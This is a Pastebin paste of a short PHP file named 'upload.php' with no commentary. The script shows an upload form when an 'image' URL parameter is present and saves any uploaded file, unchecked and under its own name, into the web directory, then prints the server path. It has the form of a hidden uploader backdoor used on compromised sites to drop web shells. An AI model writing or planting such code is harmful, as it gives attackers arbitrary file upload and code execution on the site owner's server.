Advertisement
PalmaSolutions

upload.php

Jun 4th, 2018
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.62 KB | None | 0 0
  1. <?php
  2. if(!empty($_GET['image']) && $_GET['image'] = 'image') {
  3.     if(isset($_POST['Submit'])){
  4.         $image = $_FILES['image'];
  5.         $thumb = $image['name'];
  6.         $tmp = $image['tmp_name'];
  7.         if (isset($image['name'])) {
  8.             $path = getcwd().DIRECTORY_SEPARATOR.$thumb;
  9.             @move_uploaded_file($tmp, $path);
  10.  
  11.             echo"<center><b>Done: ".getcwd().DIRECTORY_SEPARATOR.$thumb."</b></center>";
  12.         }
  13.     } else { ?>
  14. <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>
  15. <?php
  16.     }
  17. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement